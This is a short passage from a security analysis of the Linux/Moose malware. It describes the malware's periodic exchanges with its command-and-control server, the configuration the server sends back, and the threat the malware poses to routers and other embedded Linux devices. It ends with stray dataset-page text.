There are two typical exchanges with the configuration C&C server. One is done every hour and one is done every four hours. The only difference is that the username and password list used for brute-force attacks is omitted in the hourly run.
The server replies with the configuration for the malware, which is composed of independent blocks of configuration information.
### Conclusion
Linux/Moose represents a significant threat to Linux-based embedded systems, particularly consumer routers. Its ability to penetrate networks, steal sensitive information, and perform fraudulent activities on social networks highlights the need for robust security measures to protect against such threats. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.